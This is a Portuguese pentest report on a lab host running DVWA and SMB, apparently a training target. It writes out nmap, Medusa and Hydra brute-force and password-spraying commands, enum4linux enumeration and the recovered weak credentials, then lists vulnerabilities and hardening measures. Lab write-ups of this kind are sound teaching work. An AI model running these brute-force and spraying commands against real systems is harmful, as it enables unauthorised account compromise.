Resumo do Teste

Este relatório documenta o processo de varredura, enumeração e exploração do host **192.168.56.101**, usando ferramentas clássicas de pentest ofensivo.
Inclui: wordlists personalizadas, brute force em FTP, brute force web, enumeração SMB, password spraying e análise de vulnerabilidades.

Varredura de Serviços – Nmap

nmap -sV -p 21,22,80,445,139 192.168.56.101

Serviços identificados:

- **21/tcp – FTP**
- **22/tcp – SSH**
- **80/tcp – HTTP**
- **139, 445 – SMB**
- **Apache + PHP** (DVWA rodando)

Teste de Acesso FTP

ftp 192.168.56.101

Objetivo: verificar banner, permissões e tentar login básico.

Criação de Wordlists

echo -e 'user\nmsfadmin\nadmin\nroot' > users.txt

echo -e '123456\npassword\nqwerty\nmsfadmin' > pass.txt

Força Bruta – FTP (Medusa)

medusa -h 192.168.56.101 -U users.txt -P pass.txt -M ftp -t 6

Força Bruta Web – DVWA

URL alvo:

http://192.168.56.101/dvwa/login.php

Ataque Web-Form com Medusa

**medusa -h 192.168.56.101 **

**-U users.txt **

**-P pass.txt **

**-M web-form **

**-m FORM:"username=^USER^&password=^PASS^&Login=Login" **

**-m PATH:"/dvwa/login.php" **

**-m DENY:"Login failed" **

-t 6

Hydra – Brute Force no Formulário

**hydra -L users.txt -P pass.txt 192.168.56.101 http-post-form **

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed"

Credenciais obtidas:

User: admin - Senha: password

Enumeração SMB – Enum4linux

enum4linux -a 192.168.56.101 | tee enum4_output.txt

Password Spraying – SMB

Lista Usuarios:

echo -e 'user\nmsfadmin\nservice' > smb_users.txt

Lista Senhas:

echo -e 'password\n123456\nWelcome123\nmsfadmin' > senhas_spray.txt

Ataque:

medusa -h 192.168.56.101 -U smb_users.txt -P senhas_spray.txt -M smbnt -t 2 -T 50

Credencial obtida: User: msfadmin – Senha: msfadmin

Acesso ao SMB

smbclient -L //192.168.56.101 -U msfadmin

Análise de Vulnerabilidades

Com base nas descobertas:

Vulnerabilidade 1 — Senhas fracas

Usuários com credenciais fáceis:

admin:password

msfadmin:msfadmin

Wordlists extremamente pequenas conseguiram comprometer o host.

Vulnerabilidade 2 — Serviços críticos expostos

FTP aberto sem restrições → permite brute-force e possível vazamento de arquivos.

SMB aberto sem hardening → exposição de usuários e shares.

Vulnerabilidade 3 — Aplicação Web DVWA

Configurada de modo inseguro para testes:

sem bloqueio de tentativas

sem CAPTCHA

sem WAF

Vulnerabilidade 4 — Falta de controles de autenticação

Nenhum mecanismo anti brute-force:

sem Lockout

sem Delay

sem Rate Limit

Vulnerabilidade 5 — Enumeração fácil via SMB

Enum4linux expôs:

usuários

possíveis shares

políticas de senha fracas

Medidas de Mitigação

Implementar políticas de senha forte

Mínimo 10+ caracteres

Complexidade obrigatória

Troca periódica

Bloquear brute force

Fail2ban (Linux)

Lockout após tentativas falhas

Rate limiting (Nginx/Apache)

Restringir exposição SMB

Usar firewall para liberar apenas IPs confiáveis

Desabilitar SMBv1

Limitar enumeração anônima

Endurecer o servidor Web

Habilitar WAF (ModSecurity)

Usar HTTPS

Restringir diretórios sensíveis

Desabilitar FTP

Substituir por SFTP ou FTPS

Desabilitar login anônimo

Monitoramento e Logs

Ativar auditoria de login

Centralizar logs

Alertas de acesso suspeito

Conclusão Final

O alvo 192.168.56.101 apresentou diversas fragilidades exploráveis com pouco esforço, incluindo senhas fracas, serviços inseguros e falhas de autenticação.

As vulnerabilidades permitiram acesso total via serviços Web e SMB.